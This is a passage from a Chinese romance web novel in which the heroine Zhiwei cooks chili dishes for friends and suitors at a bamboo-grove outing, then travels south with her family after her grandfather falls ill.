念秦望着外头沈家人一脸将顾侯示做豺狼的模样,也扯了扯嘴角,淡笑道,“就看沈家人的模样,顾侯目前排最后,有一说一,就长相来说,聂斐然同知微最为相配,但是太弱了些,还是宋言澈吧,长相和脑子都有,还没爹没娘,知微要是嫁过去,家中可没有难伺候的老太太,我也看好姓宋的。” 念秦不张嘴则已,一张嘴那必是一击即中。 红叶笑着摇摇头,“走吧,该咱们下去了,再不下去,安若瑾怕会被迫拿出自己皇子的身份将珏哥儿给撵了出去,那今日珏哥儿丢人就丢大发了。” 因为顾铭珏突然的到来而变得有些剑拔弩张的形势因为红叶的三言两语就给解开了。 红叶叫众人继续,又对顾铭珏道:“珏哥儿跟我过来。” 顾铭珏淡淡的对众人抱了抱拳,又看了眼还在烤肉的知微,才跟着红叶走了。 沈知蕴松了口气,转头观察小妹的表情,见知微还在手指翻飞的撒着调料,对顾侯的到来视而不见,这才放下了心。 宋言澈将餐盘适时的拿了过来,接过知微烤好的肉串,一一摆好,再放到一旁的竹桌上。 二人配合的极好,沈知蕴坐下,顺势接过兄长递过来的肉串,嗯,吃起来虽有些不文雅,但是味道确实极好,鲜嫩多汁,尤其不知外头撒了一层什么调料,与食材融合的极好,一口下去,众人俱是惊艳。 高淮阳和崔文远几个也提着钓来和插来的鱼回来了。 几人早就饿的前胸贴后背了,见有现成的吃食,一人一串便直接啃了起来,一口下去几人眼神都亮了,加快了吃肉串的动作,高淮阳眼看他们快要吃完,眼疾手快的将剩下的肉串给一把抢了就跑,于是,一顿饭吃的要多热闹有多热闹。 连安若瑾都没有办法,也加入了抢串的队伍中,叹了口气,实在是他这个皇子身份对这群饿狼没什么用,所以说啊,不管是什么事情还是得抢,抢到手了才是真的。 知微提前便吩咐串了不少的羊肉串,五花肉串也串了很多,还有她自己研究出来的肉肠,面筋,鸡翅鸡腿都准备了些,她还准备了些馒头片,烤出来之后撒着调料,焦香丰脆,好吃的很。 红叶姐她们还猎了头獐子,野兔,野鸡,竟然还有头野猪。 野猪太大,今日便不准备吃了,有二三百斤的大野猪,知微叫人杀了之后分成了几份,回去的时候,给各家分上一分,也不算白来这一趟。 其实她还想去山里采蘑菇,前日刚下了雨,林中定有蘑菇的,但是时间不够了,下次她定来住上几日,玩个痛快。 这些食物足够众人吃了。 她笑着制止了争抢的几人,说那边的獐子也快烤好了,有的是肉呢,大家别争。 野鸡她都拿土豆给炖了,放了粉条,锅里还贴了一圈玉米饼子。 她自是看到了冯三卫虎几人,大家也算是共事过,且待她都不错,她哪能将几人给忘了,叫*翠儿去叫几人过来一起用膳,食物多的很,大家一起吃的更香。 几人也不扭捏,冲知微作了作揖便笑眯眯的加入了抢饭大军。 宋言澈在一旁陪着她边吃边烤,时不时的还递个帕子,递杯水,十分之妥帖。聂斐然眼馋的很,但是安乐县主亦步亦趋的,聂斐然没找到机会过去。 知微见宋言澈已经学会了烤肉,便将烤肉交给了他,自己则要去炒兔肉去了。 她带了些茱萸,准备给兔肉提提味。 这时,冯三却走了过来,手里抱着獐子腿啃的满嘴流油,脸上跟献宝似的道:“叶,沈二姑娘,我这有个叫辣椒的东西,比这茱萸辣,您要不要?” 知微一听辣椒,整个人忽的激动起来,她两个眼睛冒着精光,言语都有些激动起来,“你,你说什么,辣椒?你说你有辣椒?” 冯三却没发现知微的异样,只当知微是对辣椒好奇,宋言澈却是将身子往他们这边挪了挪,想知道知微为何突然如此激动。 冯三边吃边继续道:“嗯,咱们在卞城的时候,碰到了个蓝眼睛黄头发的胡人,那人拿了个叫辣椒的东西说要来换金子,那县太爷也是个吃里的行家,闻了闻这东西,便将这东西全部买来,回去亲自拿这东西炒了盘菜,听说辣的蹲了一整天的天茅房,但是这县太爷后来却命人大批量的种植这辣椒,我觉得稀奇,便问他要了一把,这茱萸有点辣味,但是不如这个辣椒的,您要不要看看?” 哎呀,一瞌睡就有人递枕头。 她刚想说可惜了没有辣椒,若是有辣椒,那这一堆的鱼和兔子,她可不得做个水煮鱼和干煸兔肉出来叫众人吃个痛快。 知微忙不迭点头,笑的跟朵花似的,“好,麻烦冯侍卫拿来我瞧瞧,靠着辣椒,兴许今日能做出更美味食物来呢。” 知微这笑容灿烂到差点叫冯三给迷花了眼,又听更美味食物,冯三吞了吞口水,也不顾不得手里的獐子腿了,哎了一声,忙去自己的包袱里翻找辣椒去了。 宋言澈将烤好的肉串摆上桌,看知微笑颜如花的模样,笑问何事叫她这么高兴。 知微也不隐瞒,眯着眼睛回道,“是我一直想找到的一种食物,可以做菜,冯三刚好找来了,一会我做些别人从未做过的美味,宋大哥可别不敢尝试啊。” 此时的宋言澈很想上前刮刮知微的鼻尖,说些逗弄的话。 他忍住了,同样笑着点头,道了声好,他的表情像是春日的微风,望向她的眼睛里盛满了柔情。 他虽诧异知微突然变得如此之好的厨艺,也会奇怪知微为何会知道旁人都不知道的食物,但是他就是莫名的,不愿意去深究。 他只想这么默默的陪着她,做她愿意做的,想做的任何事情,直到,永远永远…… 第74章 众人吃饭暂停,围观知微拿着颗红彤彤的干果子又蹦又跳。知 众人吃饭暂停,围观知微拿着颗红彤彤的干果子又蹦又跳。 知微见这果然是后世的辣椒,还是大多数人都承认辣度的大红辣椒,高兴的跟个孩子似的。 辣椒已经风干了,难为冯三带了一路,这东西都没坏,但是干辣椒做水煮系列的菜正好。 此时的知微因为情绪激动,面上似是染了一层红霞,跟手中的果子倒是相得益彰,一样热烈。 冯三自觉做了件了不起的事情,他就说他才不是鬼使神差带回来的,是老天爷叫他带回来的! 这不一回来叶姨娘就用上了,听到知微不断的夸赞,冯三不由的挺直了腰板,和跟立了大功似的。 知微笑的见牙不见眼的,乐呵呵的跟围观上来的众人解释道:“这个叫辣椒,它是一种蔬菜,因为辣,所以取名辣椒,它算是配菜吧,可以促进肠道蠕动暖胃驱寒,尤其是冬天,吃上一口辣椒做的饭菜,那别提身上有多暖和了。” “尤其是在北方,冰天雪地的时候,这个小东西啊,可是能叫人在瞬间就暖和起来呢!” 孙甜甜眼巴巴望着小小的辣椒,馋虫上身,没忍住放进嘴里咬了一口,结果就是,被辣的呲牙咧嘴到处找水喝…… 傻姑娘差点被辣哭。 知微好笑的制止了众人不信邪都要往嘴里放的动作,大声道:“就这么点,咱们做菜来用都嫌少呢,诸位还是等着吃吧,就别浪费这些辣子了。” 说完便从众人手里小心的将辣椒给收了回来,然后将众人给撵走,并且拍着胸脯信誓旦旦的保证等会做出来的美食保准是大家从来没吃过的,且是无与伦比的好吃。 这话一出,倒是让大家伙更期待了。 在竹楼远远的望着知微的顾铭珏,看到她拍着胸脯傲娇的小模样,不自觉的扬起了唇角。 盼了几月念了几月,如今终于见到了。 天知道他收到暗夜的来信时杀回来的心有多么急迫,可如今瞧着,他的劲敌可不是住在沈府的那个弱鸡,这位名不见经传的宋传胪才是。 他这人一向自负,虽是已经知晓二人的过往,对于这个六品小官还是颇为不屑,但是如今再看,可不是那么回事了,他还得好好盘算盘算,将这人给搞出京城才是。 红叶给他斟了杯酒,又递了串知微亲手烤制的肉串,微微有些焦香,同他们以往吃的大块烤肉不同,别有一番风味。 红叶自己则是拿了个鸡腿边啃边对顾铭珏眨眨眼道:“怎么样,是不是从未见过她这个模样?这个样子才是她,活泼又热烈,被你拘在那小院里的,只是个会讨好你的提线木偶罢了。” 又补了句刀,“且是个为了生存无奈讨好你的木偶,估摸着,换个人也是被她一样对待的,怎么样,扎不扎心?” 顾铭也不生气,只苦笑一声,将杯中的酒水一饮而尽。 他望着手中的肉串,时隔数月,终于又吃上了他的小姨娘做的吃食。 不对,不是他的小姨娘了,是知微,沈家二女,沈知微。 端了些热菜并两个玉米饼子进来的念秦看到顾铭珏对个肉串做出的深情模样没忍住翻了个白眼,红叶嗔了她一眼,叫她收敛点,自己倒是先笑开了。 复又问外头发生了何事,怎得这样热闹。 念秦坐定,抬眸看了眼正专心吃肉的顾侯,意味深长道:“这还得谢谢顾侯呢,冯三带回来个叫辣椒的东西,知微瞧见后十分开怀,直夸冯三捡到宝了,正忙活着给大家做新鲜吃食呢,说是要用那个辣椒做个什么水煮鱼和兔子肉给大家尝尝,一个个的都被勾起了馋虫,都眼巴巴等着呢。” 说完也不看顾铭珏是何面色,自顾自的夹了块饼子就着烤肉吃了起来,嗯,真香,尤其是看人后悔,下饭更香。 主仆二人是一个比一个的看热闹不嫌事大。 某人面色顿时又沉了下去,好你个冯三,竟然偷摸的带东西回京! 红叶见他那脸色就知道想的什么,哎哎唤他两声,“这事你就不能怪人家冯三了啊,人冯三定是机缘巧合带回来的,不过……来,给姐说说,你给知微带什么回来了?话说回来,给姐姐的礼物可不能少了啊,我和念秦可被你家那老祖给折磨的不轻……” 而外头的知微正吩咐婆子将钓到的鱼收拾好片成鱼片,鱼骨留下备用,她刚才可看到有两条大黑鱼呢,一块都做了正好。 没想到今日钓鱼的几个运气也不错,黑鱼鲤鱼好几条,也算是丰收了,肯定够吃。 其实也不是钓鱼的几个运气不错,里头不少鱼都是念秦差人赶过来的。 念秦做事一向妥帖。 出来顽,自是要叫所有人都尽兴。 葱姜蒜花椒全部吩咐人准备好,知微自己则是小心的将辣椒中的辣椒籽给取出来,这可都是种子,如今这时候种辣椒也不知道晚不晚,她打算在附近的庄子上找个种菜的好手,帮她把这些辣椒全部种出来,嘿嘿,到时候就有辣椒吃了。 至于推广?人家卞城的县令不是下令大规模种植了吗,她就是得了这么点辣椒,种出来自己家吃吃得了。 等成熟了,在场的各位人家免不了都得送上一些,还有冯三呢,冯三可是大功臣,她得好好想想给冯三个回礼,也叫冯三好好高兴高兴。 宋言澈将烤肉的任务交给了跃跃欲试的崔文远几个,自己则是敛起衣袖,蹲到知微旁边,帮她取籽。 其实是用不着他的,人家月痕和花影都在一旁伺候着呢。 架不住这人有礼貌,朝二人深深作揖,二人非常识趣,捂着嘴便悄悄退到一旁了。 宋言澈刚一蹲下,便被这辣椒的气味刺激的打了个喷嚏。 知微抬眸笑的开怀,小声道:“宋大哥,这东西辣,籽更辣,呛人的很,你还是道一边吃些东西吧,又不多,我一会就弄完了。” 宋言澈却摇了摇头,小心的学着她的样子,帮着将里头的籽给取出来,轻声道:“我来弄吧,你说这东西辣,沾到你手上定也是辣的,你赶紧去洗洗,省的辣到手,若是不小心粘到了脸上或者眼睛上,更不好了。” 说完他还笑了笑,笑容有些腼腆,“这些活计,本就不该叫你一人干,虽不累,但是总是需要人配合着来做才好,姑娘家的手儿娇嫩,还得好好养着,你一会不是还要下厨?这边交给我,你先去休息休息可好?” 看知微有些傻傻的看着他,他怕知微误会他是不想叫她下厨便继续道:“或者你看看还有什么材料是要准备的?这里交给我就行,我保准将这些辣椒籽都收集完好,不会遗漏一粒。” 知微听完她的话,心口竟有猛的跳了几下,她呆呆的看着宋言澈,一时分不清是自己的心在跳,还是原主的意识作祟。 她脸上的热气依旧没有消散,面上还是红扑扑的,这人还挺细心的,竟然能想到辣椒沾到手上会辣手。 姑娘家的手娇嫩,她可是做惯了的,手上早就起了茧子了,不过…… 被人这么小心呵护的感觉还不错。 她不是第一次被人关心,但是却是头一次在做饭的时候,被人这么小心的照顾。 嗯,不说别的,原主眼光还是好的,这人确实不错。 一直注视这边聂斐然一口银牙都快咬碎了,神仙般清俊的脸上带着明显的失落,他抬手拒绝了安乐递过来的吃食,道了声失陪转身便走了。 沈知晖叹了口气,制止了要跟上去的安乐,道了句我去同他说几句话,便留下一头雾水的安乐跟了上去。 倒是崔家的两位小姐看出了些名堂,悄悄的扯了扯安乐的袖子,小声道:“安乐,会不会是你粘人粘的太紧了,这位公子兴许是想同大家玩在一处的,我见他时不时的会看向做饭的方向。” 这位小姐意有所指,但是安乐却听不明白,跺跺脚,哼了两声,被崔家另一位小姐哄了几句之后这才开心起来,三人也转移了阵地,跑到一边去亲手烤串吃去了。 而沈知蕴和安若瑾堪堪填了些肚子之后,便不知到哪里去了,反正知微是没有看到的。 翠儿正同卫虎冯三一群人夸张的笔划着什么,男孩子似的,模样十分开心。 转过头见宋言澈做的很好,知微便起来伸了个懒腰,吩咐花影和月痕去采些薄荷叶来,一会熬些薄荷水来喝。 吃辣椒不免会上火,她打算烧些薄荷糖水来,给众人下下火。 晨起时她还吩咐下人带了些冰块,这不就派上用场了,熬好薄荷水冰一会,她这边也开始做干煸兔肉了。 辣椒真的不多,冯三也只抓了一些,没有几两的样子,众人又是第一次吃辣,不知道能不能接受,知微也没敢放太多。 只是在热油放入辣椒碎的那一刻,呲啦一声,此起彼伏的咳嗽声还是响了起来,只有知微,闻着这热辣滚烫的味道一脸的享受,众人都躲开了,只有宋言澈,虽然也被呛到了,却还是在一边守着知微,他的眼睛像是长在了知微身上,一瞬不瞬的。 知微没注意到,倒是竹楼内的顾铭珏瞧了个分明,哼,如此献殷勤的机会,岂能叫他独享,扔了手上的杯子,大步下了竹楼。 红叶同念秦挑眉,“都三十岁的人了,还跟个半大的小子似的,醋劲还挺大。” 念秦忍笑,“您不怕顾侯惹事啊?” 红叶却抿着嘴冲她摆手道:“放心吧,他有数,想抱得美人归,哪是那么容易的事情,今日沈家人都在,他还得好好表现才是。” “走吧,咱们出去看珏哥儿吃瘪去。” 第75章 顾铭珏真的没惹事。他年长许多,面对一群年轻人,尤其多数还是心上 顾铭珏真的没惹事。 他年长许多,面对一群年轻人,尤其多数还是心上人的家人,装也得装个样子出来。 他现在俨然一副道貌岸然,不是,是气宇轩昂彬彬有礼的顾侯。 跟传闻中的安定侯倒是对上了。 崔文远的两个小堂妹看到顾侯竟然不害怕,而是一脸钦佩的跟在叫了两声姐夫,众人这才想起两家还是姻亲呢。 崔文远老实的站在顾侯身侧叫姐夫,顾铭珏还挺给面子,同他说了几句话,又问了府上如何,还说改日要去问候岳父岳母,给崔文远吓坏了。 倒是一旁的两位崔家小妹挺高兴的,至于为啥高兴,无非就是有当续弦也比嫁个小官强之类的想法,但这两位姑娘也有自知之明,两位都是崔家旁支,也是求了崔文远几日才带她们出来的。 且她们也知晓顾沈两家的渊源,今日又见了这沈二姑娘的真容,说不惊艳是假的,甚至还有些嫉妒,但是也知道顾铭珏铁定看不上她们,攀的上攀不上,个人心里都有道尺,也就是想想,并不敢强求。 毕竟像顾铭珏这种,身材高大,后院也没几个女人,长相英俊还身居高位的男子实在不多,除了年纪大了些,顾侯的条件属实无可挑剔,不然沈知蕴从前也不会同意跟他定亲。 娶过两房媳妇根本不是事儿,不影响他再娶妻生子,光是他两门岳丈对他的夸赞,那都是叫许多家争抢着想将女儿给嫁过去的。 顾铭珏同沈知晖抱拳,姿态放的低言语也随意,同朝为官,沈知晖不欲纠结于过往,渐渐放下了戒备,几人很快便热络起来。 顾铭珏阅历甚广,他是字面意义上的广,自他被皇帝启用,数年间跑遍了本朝大江南北,这些个地界,是他一步一个脚印走出来。 跟他们这些一直待在京城,或者只在周围城镇游走的大不一样。 他不是去顽闹,他是替皇帝搜查信息,明察暗访,十年间,他也是解救了不少人,抓了不少拐子的。 更是以一己之力在暗查途中捣毁了数个山匪集结的窝点,是不少民众口中实打实的英雄人物。 所以啊,顾铭珏想接近并且讨好谁,并不是件难事。 但他深知策反便不易了。 他的第一步,自是要改变沈家人对他的看法。 故在知微做饭时,他并没有故意接近,而是远远的同众人一起,并且时不时的看上她两眼,十分沉得住气。 数月未见,他虽然恨不得直接将人按在身下亲他个天昏地暗,但是今时不同往日,小媳妇儿如今也是有身份地位有亲朋呵护的,但凡他敢当着面造次,红叶那个老女人定会首当其冲收拾他一顿。 内心还是会叹气,自从有了知微,他就没动过旁的女人,忍的好辛苦。 罢了,见到了就好,如今的知微胖了些,更加好看了,小脸红扑扑的气色极好,叫他看的心里更痒痒了。 红叶同念秦一个撇嘴一个耸肩,好家伙,这是真当回事了,不以权压人了,准备走怀柔之策了,啧啧,叫顾侯这么上心,还真不容易。 那边厢知微也没注意这边的事情,她一门心思都在锅里,两个眼睛一直弯弯的,唇角扬起漏出几颗牙齿,小模样十分之专注,叫宋言澈喜欢极了。 他就在一旁陪着她,听她时不时的自言自语,或者是感受到了他的注视,她会抬眸朝他笑上一笑,他当下的一整个世界,只有挥动着锅铲的她,她的一颦一笑,一举一动,都叫他沉迷无法自拔。 一道干煸兔肉完成,下一道水煮鱼开始。 先用生粉加蛋清将片好的鱼片上浆,接下来将油烧热,加入姜片放鱼骨煎制两面金黄,再加入滚烫的开水,水开撇去浮沫,继续煮一炷香的功夫鱼汤便好了,奶白奶白的鱼汤,颜色十分只好。 这时候,将鱼骨捞出,垫在碗底。 接着另一口锅烧油开始炒料,葱姜蒜花椒,放些豆瓣酱进去炒香,这个朝代是有大酱的,且味道十分浓郁。 小火将配料炒香,再倒入鱼汤,大火烧开,加入盐糖等调味,片刻后配料和鱼汤充分融合,再将料渣全部捞出,这时候就可以烫菜了。 水煮鱼吗,必不可少的豆芽,但是现在没有…… 就地取材,身在竹林,烫了些脆嫩的竹笋,木耳,土豆片,最后才是挂了浆的鱼片,全部都倒进了大盆子里,这时候的香味就直往众人鼻腔里钻了。 知微在上头撒上了葱花和香菜, 但是还没完,只见知微再次起锅烧油,花椒和辣椒在油里那么一滚,那呛人的味道又来了,加上花椒那是超级加倍。 可惜的是知微没见到麻椒,要是有麻椒,味道更好。 但这样也行,味道没那么麻,众人也好接受一些。 只听嗤啦一声,红彤彤的热油浇到了鱼肉上面,小葱的味道瞬间被激发,众人已经跃跃欲试了。 知微朝众人笑着道都别客气,可以吃了,但是,那个薄荷水都先倒一杯放到手边,一会解辣用。 整整两大盆子的水煮鱼,一盆干煸兔肉,众人吞了吐口水,等着三皇子夹第一筷子,他们也好动手。 安若瑾笑着夹了一块鱼肉放进嘴里,只那么一下他就笑不出来了,辣! 他吐也不是咽也不是,在嘴里嚼了两下,终于咽了下去,咦,辣归辣,但是这个味道属实不错,他竟有些意犹未尽。 见他得表情纠结,也不说话,众人心一横,也不管什么敬不敬的了,也拿起筷子吃了起来。 于是,嘴唇着火的声音此起彼伏,嗤,好辣。 然后又是一声,嗤,辣辣。 知微看的好笑,叫下人一人给盛了碗米饭。 孙甜甜的头点的跟小鸡啄米似的,一口米饭一口鱼再一口凉茶,这下对了,边吃边朝知微竖大拇指,好吃,姐姐真厉害,好好吃。 然后便将脸一整个埋进碗里,用心干饭。 知微还怕几个姑娘吃不惯,却见也没什么男女大防了,一个个辣的头上都冒汗了还吃的津津有味。 知微坐到念秦身旁,接过念秦递来的筷子尝了一口,点点头,好吃,但是不够辣,在后世顶多算个微辣,小孩子都能吃的那种,实在是辣椒少,她没舍得放,另外就着顾及大家第一次吃辣,她怕吃多了拉肚子。 但是看目前这个情况,嗯……不会闹坏肚子吧? 她担心自己会犯错,低头小声的问念秦他们第一次吃辣,会不会拉肚子啊。 念秦给她夹了块兔肉,叫她安心,她一会每人给吃个药丸,保准好好的。 知微这才高兴起来,夹起兔肉,大口的塞进嘴里,就那么一抬眼,就跟顾铭珏对视上了。 嗯……狗东西!她翻了个大大的白眼,无视男人的目光,继续吃自己的。 跟前未婚妻前小妾一个桌上用膳,也不嫌尴尬,再次朝男人翻了个白眼,这才作罢。 对知微的这个态度,顾铭珏是一点也不意外,小媳妇儿连翻白眼都那么好看。不施粉黛,做了一桌饭菜面色也不见疲累,俏脸在听到众人夸赞时的洋洋得意,以及鬓角耷拉下来的那一缕碎发都叫他看的如痴如醉。 嗯,他觉得今日这菜还挺下酒的,但是因为着急回府见祖母,罢了,酒不醉人人自醉,再喝真醉了。 却见知微不知看到了什么,嘴角的笑意藏都藏不住。 原是知微瞧见了然表兄被辣到的样子,别说,是真的秀色可餐,聂斐然被辣的嘴巴通红,鼻尖冒了些细密的汗珠,小脸白皙透着透着粉红,嘴巴微张舌尖外露吐着气,美的雌雄莫辨的。 她悄悄的低声跟旁边的沈知蕴道,姐姐,表兄可真好看。 沈知蕴也辣,喝了口凉茶顺着妹妹的目光看向聂斐然,点点头,英雄所见略同,在皮囊上,聂斐然还真没输过。 再一撇便对上了安若瑾的眼睛,沈知蕴轻扯了下嘴角,举起手边的酒杯,二人心照不宣,将杯中的酒水一饮而尽。 知微,嗯…… 坏了,他俩有秘密了。 念秦挠了挠她得胳膊,挑挑眉,小声道,人都定亲了,你都做好饭了俩人才说完悄悄话回来,有秘密多正常。 又给知微夹菜,道了句今日数你辛苦,多吃点。 知微嗯嗯两声,就听那边吃了半天的崔文远开麦了,无非就是感谢知微今日亲手做餐食与他们吃,不住的夸赞知微的手艺,然后重点来了。 “从今往后沈二小姐就是我心中的厨神,我崔文远唯沈二小姐马首是瞻,所以不知诸位何时再出来游玩,带上小弟可以吗?不是,子成他们几个都不用带,带我自己个儿就成。” “我草,崔文远你还讲不讲武德!凭什么不带我们!” 于是,崔文远几个又吵吵嚷嚷的闹开了,知微看着好笑,便给兄长递了个眼神,兄长会意,好一顿安抚,并邀请自己休沐时几位可以到家中做客,沈知蕴也大方的邀请崔家两位小姐,一时间众人都挺高兴的。 只有高淮阳和冯三几个,闷不声的一直在吃饭,待几个小子都反应过来的时候,又抢开了…… 只有宋言澈,从头至尾只是安静的吃着,时不时的看向知微的方向,存在感极低,却总是能和知微对视上。 红叶觉得自己也吃的差不多了,咳嗽两声将几人分开,道下次还是她组局,一个个都来,她马上差人跟知微学做这几道菜,叫众人敞开了肚皮吃,这才作罢。 其实几人也都是一种新鲜和玩闹的心理,都是差不多的年纪,都是贵人,多美味的也都是吃过的,他们愿意捧,知微便接着,朋友多了路也好走不是。 等众人吃饱喝足,又亲自去挖了些竹笋才离开。 知微想了想,还是趁着无人注意的时候走到顾铭珏不远处微微作揖,道了句还未多谢侯爷给了陆姐姐放妾书。 顾铭珏难得在知微面前一本正经,“应该的。你,可高兴?” 知微朝他点了点头,“嗯,特别高兴。” 说完转身要走,却听顾铭珏叫住了她, 从怀里取出了个荷包,怕知微不收,直接扔了过去,说是礼物。 知微出于惯性至于上手去接,反应过来之后顾铭珏已经闪身离开了。 知微抿着嘴,有些无语,手却实诚的将荷包打开,好家伙,宝石啊。 都挺大个,红的蓝的绿的,沉甸甸的一小袋。 啧啧,应该挺值钱的吧。 知微用眼神询问沈知蕴的意见,沈知蕴眉头紧皱,却听红叶道,“收下,不收他也会想办法叫你收的,留着打几个发钗戴着顽。” 念秦点点头,也是一副给就拿着,他又不缺这点的表情。 看沈知蕴也点头,知微便将荷包给了身后的花影,挺好,有便宜不占王八蛋。 知微粘着念秦找了庄子上最会种菜的大叔将辣椒种子都托付给大叔后才依依不舍的走了。 兄长和姐姐他们先她一步回了府,她则是上了红叶的马车,安排好了事情这才回去。 今日最开心的自属宋言澈,最郁闷的当然是聂斐然,不过聂斐然相信近水楼台先得月,还有几日就走了,但是,山不转水转,不日他便回来了。 宋言澈听着旁边崔文远几人对知微喋喋不休的夸赞,颧骨都快上天了。 他的知微,自是最好的,今日突破甚大,他也看清了知微对顾侯那不屑一顾的态度,心情甚好,抱得美人归,指日可待啊。 只是天有不测风云。 沈府的马车还未进城便被快马加鞭寻来的管家给拦住了,原是高大舅来了急信,外祖父病危,众人慌忙回府,商议提前回乡之事。 第76章 日头很好,微风不燥。只是马儿嗒嗒的声响仿佛带着些迫切的 日头很好,微风不燥。 只是马儿嗒嗒的声响仿佛带着些迫切的味道,叫人不自觉的将心提了起来。 不是别的,是马车行的太快了,远远一看便是着急赶路的。 路面还算平整,虽然颠簸,知微也还能忍受。她从前跟着顾铭珏是坐惯了马车的,对于疾行倒还算适应。 她一直注意着娘亲的面色,高氏虽然身体虚弱,但因为记挂父亲的身体,一路除了面色有些发黄,倒也没有其他不适。 小舅母和高雅晴也都是眉头紧皱,时不时的看向车窗外。 一路上,众人也没有聊天的心情,不是担心自己的父亲,就是担心昨日简单收拾细软就马不停蹄上路的丈夫,心情自是有些沉重。 沈知蕴并未一起南下,她不是不想,可她准皇子妃的身份要求她不能随意的出京。 昨日午后接到急信的高小舅在看清了信件的内容,也没心情等到明日,扯着还醉醺醺梅神医便上了马。 亏得众人回来及时,梅神医随心所欲惯了,聂斐然担心路上出什么岔子,叫小厮打包了两件衣服,一并跟了上去。 也只有他能治的住这个不喝酒就会发疯的老头,聂斐然的身体已然大好,沈鸿也不担心什么,有神医在,叮嘱了几句便出发了。 几人快马加鞭,应七八日便能到达青州。 这边厢,眼看日落西斜,前头的高淮阳吩咐众人今日歇在驿站。 如今他是一行中唯一的男子,自是要当起守护女眷的责任,一整日他都在前头开路,前后都有护卫跟着,只是此次回程多了知微高氏并几位婆子侍女,人更多了,沈府的护卫了也在,一行三四十人浩浩荡荡的,挺扎眼。 扎眼便扎眼吧,高氏管不了那么多了,她已数年未曾见过双亲,上一次见面还是爹娘至京城见的她,她深觉有愧。 如今知微也找到了,是她不孝,她早该带着小女儿去探望爹娘才是,希望爹爹见到知微身体能好的快些。 待一行人在驿站安排妥当,高淮阳才有时间停下来歇息,知微见众人疲累,借了驿站的厨房,想给家人做些可口的吃食。 这一路颠簸,娘亲本就体弱,还得好生调养着。 半月的路程呢,一家人也都要吃的可口些才成。 今日驿站只有他们一行客人,很容易就借到了厨房。 不过知微一抬眸便看到了那驿丞看自己色眯眯的眼神,恶心极了,哈喇子快流下来了,都是沈府带来的府卫,无需言语,互相递个眼神,便将知微围的密不透风的。 知微心想还得买套男装穿上,路上也好行动,没那么惹眼。 这驿丞因为见了知微的相貌感叹惊为天人,不自觉便多看了几眼,坏心眼倒是没有几个的,主要今日这几位贵人的阵仗挺大,他不敢。 却不想半夜就被顾铭珏的人给揍了,两个眼睛第二日便成了熊猫眼,这驿丞做了没几日便被罢了官,这人悲天跄地的哭的鼻涕眼泪一大把也还不知自己为何这般下场呢。 晚膳简单的做了鱼香肉丝,蒸了个鸡蛋羹,她又用苹果大枣枸杞生姜红糖煮了个补气血的苹果甜汤,给母亲和舅母补补气血。 也没敢做多腻的,赶了一日的路,还是喝些甜甜的才舒服一些。 那边厨娘也做了两个小菜,一餐饭食便好了。 知微看看天色,也不知翠儿她们用膳没有。 翠儿被知微留在了府上。 知微见沈知蕴魂不守舍心事重重的样子,她和娘亲一走,府上也没个她能说话的人。 便将翠儿留下,叫她经常去找沈知蕴说话,翠儿这些日子同沈知蕴相处的不错,是拿沈知蕴当姐姐看待的。 这样一来,沈知蕴也算是有个人陪着,不至于整日胡思乱想,虽然她不知有翠儿能不能起到作用,但是聊胜于无吧, 父兄都要上值,府上的事物翠儿也能帮着几分,姐姐也不会那么累。 今日天刚亮她们就启程了,府上一整夜都灯火通明,半月的路程,要带的东西总是不少的。 高氏已经很多年没有回去了,此去定也要住上些时日。 而那边厢沈知蕴则是皱着眉头,看着安若瑾的信,还得等几日吗…… 她非常焦虑,心中担心的很。 应该不会那样巧,梦中受水灾的地方不会是青州吧?不会的,应该不会的。 天底下哪有那么巧的事情呢? 不会的,肯定不会的。 可是,若万一是的话,娘亲和小妹怎么办?外祖一家怎么办?她该怎么办! 沈知蕴心里十分急躁,已经有些沉不住气了。 她不断的安慰自己,事情应不会这样巧的,不会的。 她今日一早便差人给安若瑾递了信,回了信的安若瑾此时也是眉头紧皱,知蕴只说了梦中的水灾叫她害怕,但是叫她如此放在心上,怕不只是梦这么简单吧。 一早高氏便同小姨子一起出发去了锦州,知蕴担心的,难道是怕水灾发生在青州附近? 只是个梦而已,不会就那么荒谬成真了吧?应当不会的,这也太匪夷所思了些。 但是安若瑾还是将此事吩咐了下去,叫安排在钦天监的人手选个黄道吉日进行占卜。 这个占卜,并不是像咱们在路边上算个命这么简单的。 钦天监,观天象制历法,推算节气占卜天文等,高人自是*许多。 安若瑾找的,便是精于推卦占卜之人。 但这人有个规矩。 每次占卜前,必须焚香沐浴,斋戒三日的,即使明日就是黄道吉日,也得三日后再进行占卜,规矩如此,谁说都没用。 所以沈知蕴就是再着急担心也是没有办法的事情。 于是,一日,两日,三日过去,京中并未收到哪地什么水灾或者暴雨的消息。 沈知蕴也渐渐的将心放到了肚子里,一连几日,应该不会就这么巧,先听钦天监占卜过后再做打算不迟。 可她还是焦虑,钦天监能算出具体的方位?若只是大体的时间和方向,她又能怎么做呢? 时间精确不了,地点精确不了,她什么都做不了。 这个时候的沈知蕴,像是将自己陷进了梦中的沼泽里,她走不出来,别人也进不去,好像谁也救不了她,整个人的精气快要坍塌了,以肉眼可见的速度憔悴了下去。 沈鸿这才察觉女儿情况不对,将人唤到了书房,关于大女儿的预知梦一事,他这才知晓…… 一晃知微他们已经赶了七日的路,一路上都很顺利,风和日丽的。 现已是下午,天却渐渐的阴了下去,应是要变天了。 照现在的进度,再有七日便可到达青州。 眼看已经走了一半的路程,高淮阳也松了口气,附近离驿站还有些距离,便就近找了处村子借宿。 这两日高氏微微有些发热,丁嬷嬷是会些医术的,早早的给熬了药,高氏用了药后便沉沉睡去了。 知微望着有些暗沉的天色,叹了口气,不久怕就会下雨,不知道会不会耽搁路程,看娘亲的样子,应是心中着急才会生病,也不知小舅舅他们一行到了没有,外祖父的病有没有控制住。 眼看家人都愁眉不展,加上这几日也越来越热,包括高淮阳在内,众人也都没什么胃口,知微看了眼家家户户都在冒炊烟的村庄,想着不若去做几道农家菜,清淡一些,再烧个汤。 娘亲和舅母都睡了,赶路赶的急,一路上颠簸的厉害,坐在车厢里并不舒服。 小表妹也蔫头巴脑的,不怎么有精神,正半躺在炕上休息。 这几日她都是一身男装,方便行事一些。 他们住的房子后院就有块菜地,叫婆子给了东家银钱,东家妇人带她们来到菜园,准备摘些新鲜蔬菜。 如今正是果蔬长的好的时候,那青瓜虽有些弯曲,个头却挺大,新鲜的很。 豆角又嫩又长,紫茄子也挺大个,小菜都绿油油的,花影和月痕一前一后的跟着她一起摘了一些,她看到了空心菜,准备摘些用蒜蓉炒来吃。 刚想跟后头花影说叫她就近拔几颗香菜,便听隔壁菜园传来了打骂声。 